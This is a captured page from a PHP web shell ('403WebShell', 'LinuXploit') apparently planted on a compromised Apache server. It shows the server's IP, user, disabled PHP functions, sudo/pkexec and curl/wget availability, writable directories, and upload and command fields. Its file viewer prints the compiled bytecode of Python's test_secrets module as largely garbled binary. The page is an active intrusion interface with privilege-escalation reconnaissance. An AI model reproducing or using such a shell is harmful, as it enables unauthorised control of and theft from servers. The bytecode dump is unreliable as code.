Uname:Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 3.111.61.48  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.2.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.10/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.10/test/__pycache__/test_secrets.cpython-310.pyc
o

�9j�@sjdZddlZddlZddlZGdd�dej�ZGdd�dej�ZGdd�dej�Zed	kr3e�	�dSdS)
z�Test the secrets module.

As most of the functions in secrets are thin wrappers around functions
defined elsewhere, we don't need to test them exhaustively.
�Nc@�0eZdZdZdd�Zdd�Zdd�Zdd	�Zd
S)�Compare_Digest_Testsz%Test secrets.compare_digest function.c	CsNdD]"}|d}|d}|�t�||��|�t�|�d�|�d���qdS)N)�a�bcd�xyz123�d�utf-8)�
assertTrue�secrets�compare_digest�encode��self�sr�b�r�(/usr/lib/python3.10/test/test_secrets.py�
test_equals �zCompare_Digest_Tests.test_equalc	Csz|�t�dd��|�t�dd��dD]&}|dd}|dd}|�t�||��|�t�|�d	�|�d	���qdS)
N�abc�abcdsabcsabcd)�x�mn�a1b2c3r�q�kr)�assertFalser
rrr
rrr�test_unequals �z!Compare_Digest_Tests.test_unequalcCsRd}|�d�}t|t�sJ�t|t�sJ�|�ttj||�|�ttj||�dS)N�abcder)r�
isinstance�str�bytes�assertRaises�	TypeErrorr
r)rrrrrr�test_bad_types$s
z#Compare_Digest_Tests.test_bad_typescCs,|�t�dd�t�|�t�dd�t�dS)Nr�xyz)�assertIsInstancer
r�bool)rrrr�	test_bool-szCompare_Digest_Tests.test_boolN)�__name__�
__module__�__qualname__�__doc__rrr#r'rrrrrs
	rc@s(eZdZdZdd�Zdd�Zdd�ZdS)	�Random_Testsz*Test wrappers around SystemRandom methods.cCsVd}dD]$}td�D]}t�|�}|�d|kod|kn|||f�q
qdS)Nzrandbits(%d) returned %d)����r�)�ranger
�randbitsr	)r�errmsg�numbits�i�nrrr�
test_randbits6s
.��zRandom_Tests.test_randbitscCs.gd�}td�D]}|�t�|�|v�qdS)N)�r1���� �@�
)r2r	r
�choice)r�itemsr6rrr�test_choice>s�zRandom_Tests.test_choicecCsJtdd�D]
}|�t�|�t|��q|�ttjd�|�ttjd�dS)Nr1r?r���)r2�assertInr
�	randbelowr!�
ValueError)rr6rrr�test_randbelowDszRandom_Tests.test_randbelowN)r(r)r*r+r8rBrGrrrrr,3s
r,c@r)�Token_TestszTest token functions.c
Cs�tjtjtjfD]H}|j|d��8|j}z|�Wnty)|�d|�Ynwz|d�Wnty@|�d|�YnwWd�n1sKwYqtj}|�	t
t�d��|�|�	t
t�d��d|�dS)N)�funcz$%s cannot be called with no argumentz%s cannot be called with Noner1)r
�token_bytes�	token_hex�
token_urlsafe�subTestr(r"�fail�DEFAULT_ENTROPY�assertEqual�len)rrI�name�sizerrr�test_token_defaultsOs*�
�����
zToken_Tests.test_token_defaultsc	CsbdD],}|j|d��|�t�|�t�|�tt�|��|�Wd�n1s)wYqdS)N)r9r;�r�r7)rMr%r
rJr rPrQ)rr7rrr�test_token_bytesas���zToken_Tests.test_token_bytesc	Cs|dD]9}|j|d��)t�|�}|�|t�|�t|�d|�|�tdd�|D���Wd�n1s6wYqdS)N)r9r.��ZrVr1css�|]}|tjvVqdS�N)�string�	hexdigits��.0�crrr�	<genexpr>os�z-Token_Tests.test_token_hex.<locals>.<genexpr>)	rMr
rKr%rrPrQr	�all�rr7rrrr�test_token_hexhs
���zToken_Tests.test_token_hexc	s|tjtjd�dD]1}|j|d��!t�|�}|�|t�|�t	�fdd�|D���Wd�n1s6wYq
dS)Nz-_)r9���LrVc3s�|]}|�vVqdSrZrr]��legalrrr`xs�z1Token_Tests.test_token_urlsafe.<locals>.<genexpr>)
r[�
ascii_letters�digitsrMr
rLr%rr	rarbrrgr�test_token_urlsafeqs
���zToken_Tests.test_token_urlsafeN)r(r)r*r+rTrWrcrkrrrrrHLs	rH�__main__)
r+r
�unittestr[�TestCaserr,rHr(�mainrrrr�<module>s$/�

Youez - 2016 - github.com/yon3zu
LinuXploit